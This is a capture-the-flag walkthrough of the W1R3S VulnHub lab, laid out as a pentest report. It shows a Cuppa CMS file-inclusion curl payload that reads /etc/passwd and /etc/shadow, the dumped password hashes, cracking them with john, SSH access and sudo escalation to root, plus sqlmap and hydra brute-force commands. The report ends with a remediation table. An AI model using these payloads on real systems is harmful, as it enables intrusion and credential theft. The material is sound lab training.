BlakSec

== Objective ==
You have been hired to do a penetration test on the W1R3S.inc individual server and report all findings. They have asked you to gain root access and find the flag (located in /root directory).

Source: [ [https://www.vulnhub.com/entry/w1r3s-101,220/ VulnHub.com] ]

Status: [ <span style="color:green">Completed</span> ]

== Methodology == 
=== Discovery ===
<syntaxhighlight  lang=shell-session highlight="" line>
root@blaksec:/ # export TANGO=192.168.56.101
</syntaxhighlight>
<syntaxhighlight  lang=shell-session highlight="" line>
root@blaksec:~/Desktop/w1r3s# nmap -O -sT -sV -p- -T5 $TANGO

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-26 19:01 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.101
Host is up (0.00093s latency).
Not shown: 55528 filtered ports, 10003 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
3306/tcp open  mysql   MySQL (unauthorized)
MAC Address: 08:00:27:CB:EE:8B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.8
Network Distance: 1 hop
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel
</syntaxhighlight>

=== Entry Point #1 - Port 80 (HTTP) ===
==== Enumeration ====
A quick scan with '''dirb''' came back with two directories '''wordpress''' and '''administrator'''. The former runs the obvious - '''Word Press''', the latter - '''CUPPA CMS'''

'''WordPress''' is configured to run under '''localhost''' so we need to update /etc/hosts
<syntaxhighlight  lang=shell-session highlight="" line>
192.168.56.101 localhost
</syntaxhighlight>

A quick checked  of '''WordPress''' with '''wp-scan''' did not reveal anything interesting. Gut feel tells me to put that aside and move to '''CUPPA''' older versions of which, according to google, come with a '''LFI''' vulnerability.

=== Exploitation ===
<syntaxhighlight  lang=shell-session highlight="4" line>
root@blaksec:/media/sf_VM_Transfer/Pentesting/w1r3s# curl -s --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://localhost/administrator/alerts/alertConfigField.php |grep sbin
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
......
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
</syntaxhighlight>
And taking it a step further...
<syntaxhighlight  lang=shell-session highlight="3,5,7" line>
root@blaksec:/media/sf_VM_Transfer/Pentesting/w1r3s# curl -s --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://localhost/administrator/alerts/alertConfigField.php
...
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0
...
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
...
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:999...
</syntaxhighlight>

Didn't take long to crack the hashes with good old trusty '''john'''



<syntaxhighlight  lang=shell-session highlight="4,5,6,7" line>
root@blaksec:~/Desktop/w1r3s# john --show shadow.txt 
w1r3s:computer
www-data:www-data

2 password hashes cracked, 1 left

</syntaxhighlight>

<syntaxhighlight  lang=shell-session highlight="23" line>
root@blaksec:/media/sf_VM_Transfer/Pentesting/w1r3s# ssh w1r3s@$TANGO
The authenticity of host '192.168.56.101 (192.168.56.101)' can't be established.
ECDSA key fingerprint is SHA256:/3N0PzPMqtXlj9QWJFMbCufh2W95JylZ/oF82NkAAto.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.56.101' (ECDSA) to the list of known hosts.
----------------------
Think this is the way?
----------------------
Well,........possibly.
----------------------
w1r3s@192.168.56.101's password: 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-36-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

108 packages can be updated.
6 updates are security updates.

.....You made it huh?....
Last login: Sun Apr  1 14:38:25 2018 from 192.168.56.200
w1r3s@W1R3S:~$ 
</syntaxhighlight>


<syntaxhighlight  lang=shell-session highlight="8" line>
w1r3s@W1R3S:~$ sudo -l
sudo: unable to resolve host W1R3S: Connection refused
[sudo] password for w1r3s: 
Matching Defaults entries for w1r3s on W1R3S:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User w1r3s may run the following commands on W1R3S:
    (ALL : ALL) ALL
</syntaxhighlight>

<syntaxhighlight  lang=shell-session highlight="5" line>
w1r3s@W1R3S:~$ sudo /bin/bash
sudo: unable to resolve host W1R3S: Connection refused
root@W1R3S:~# cd /root
root@W1R3S:/root# ls
flag.txt
root@W1R3S:/root# cat flag.txt 
-----------------------------------------------------------------------------------------
   ____ ___  _   _  ____ ____      _  _____ _   _ _        _  _____ ___ ___  _   _ ____  
  / ___/ _ \| \ | |/ ___|  _ \    / \|_   _| | | | |      / \|_   _|_ _/ _ \| \ | / ___| 
 | |  | | | |  \| | |  _| |_) |  / _ \ | | | | | | |     / _ \ | |  | | | | |  \| \___ \ 
 | |__| |_| | |\  | |_| |  _ <  / ___ \| | | |_| | |___ / ___ \| |  | | |_| | |\  |___) |
  \____\___/|_| \_|\____|_| \_\/_/   \_\_|  \___/|_____/_/   \_\_| |___\___/|_| \_|____/ 
                                                                                        
-----------------------------------------------------------------------------------------

                          .-----------------TTTT_-----_______
                        /''''''''''(______O] ----------____  \______/]_
     __...---'"""\_ --''   Q                               ___________@
 |'''                   ._   _______________=---------"""""""
 |                ..--''|   l L |_l   |
 |          ..--''      .  /-___j '   '
 |    ..--''           /  ,       '   '
 |--''                /           `    \
                      L__'         \    -
                                    -    '-.
                                     '.    /
                                       '-./

----------------------------------------------------------------------------------------
  YOU HAVE COMPLETED THE
               __      __  ______________________   _________
              /  \    /  \/_   \______   \_____  \ /   _____/
              \   \/\/   / |   ||       _/ _(__  < \_____  \ 
               \        /  |   ||    |   \/       \/        \
                \__/\  /   |___||____|_  /______  /_______  /.INC
                     \/                \/       \/        \/        CHALLENGE, V 1.0
----------------------------------------------------------------------------------------

CREATED BY SpecterWires

------------------------------------------------------------------------------
</syntaxhighlight>

== Final Notes ==
Lots of decoys! Some things I tried which did not work but might come handy one day:

Using '''nmap''' wordpress scripts
<syntaxhighlight  lang=shell-session highlight="" line>
root@kali:~/Desktop/Bob:1# nmap -sV --script http-wordpress-enum -p 80 --script http-wordpress-users --script-args 'limit=5000,basepath=/wordpress/' 192.168.56.101
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-wordpress-users: 
| Username found: joseph-g
|_Search stopped at ID #5000. Increase the upper limit if necessary with 'http-wordpress-users.limit'
MAC Address: 08:00:27:CB:EE:8B (Oracle VirtualBox virtual NIC)

root@kali:~/Desktop/Bob:1# nmap -sV --script http-wordpress-enum -p 80 --script-args 'http-wordpress-enum.root=/wordpress,http-wordpress-enum.search-limit=all' 192.168.56.101
Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-02 08:32 EDT
Nmap scan report for localhost (192.168.56.101)
Host is up (0.00024s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-wordpress-enum: 
| Search 	limited to top 50546 themes/plugins
|   themes
|     twentyfifteen 1.9
|     twentysixteen 1.4
|     twentyseventeen 1.4nmap -O -sT -sV -p- -T5 192.168.56.101
|   plugins
|_    akismet 4.0.2
MAC Address: 08:00:27:CB:EE:8B (Oracle VirtualBox virtual NIC)

</syntaxhighlight>

Using '''sqlmap'''
<syntaxhighlight  lang=shell-session highlight="" line>
sqlmap -u http://localhost/administrator/installation/ --dbms=mysql --data="host=localhost&db=asdf&user=root&password=asdf&table_prefix=cu_&name=Administrator&email=asdf%40mail.com&username=admin&username_password=admin&view=installation_finished" --dump users --level=5 --risk=3
</syntaxhighlight>

Using '''hydra''' to bruteforce WP login
<syntaxhighlight  lang=shell-session highlight="" line>
hydra -u -P /usr/share/wordlists/rockyou.txt -a admin 192.168.56.101 -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=incorrect'
</syntaxhighlight>

== Appendix A: Vulnerability Detail and Mitigation ==
{| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;"
|+ style="color:#e76700;text-align:left;" | Vulnerabilities in un-patched software
|-
|style="width:120px;" |Rating
|style="color:red;" | High
|-
|Description
|An outdated version of Cuppa CMS was found running on the server, exposed and accessible to the outside network. This version is known for it's Local File Inclusion vulnerability.
|-
|Impact
|An attacker can explore the vulnerability to gain access to various files on the local file system, including but not limited to /etc/passwd, /etc/shadow files, which contain user login information and user passwords.
|-
|Remediation
|Update Cuppa CMS software to the latest stable version. Additionally, set up system permissions in the way that critical system files like /etc/passwd are not accessible to the user used to run webserver processes. 
|}


{| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;"
|+ style="color:#e76700;text-align:left;" | Weak password policies
|-
|style="width:120px;" |Rating
|style="color:red;" | High
|-
|Description
|Two user accounts are configured with easy-to-guess dictionary-based passwords. 
|-
|Impact
|An attacker would be able to easily compromise user accounts using dictionary attacks, which will enable them to log in to the host via ssh. 
|-
|Remediation
|Implement stronger password policies enforcing proper password complexity, disallowing dictionary based passwords. Perform periodic audit of the passwords using tools like '''cracklib'''. 
|}

{| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;"
|+ style="color:#e76700;text-align:left;" | All-inclusive sudo role
|-
|style="width:120px;" |Rating
|style="color:yellow;" | Medium
|-
|Description
|Sudo role for user ''w1r3s'' allows for unrestricted access to execute any commands as ''root'' user.
|-
|Impact
|After gaining access to ''w13rs'' account, an attacker will be able to escalate their privileges, gaining access to the ''root'' shell. 
|-
|Remediation
|Restrict ''sudo'' roles only to specific command.  
|}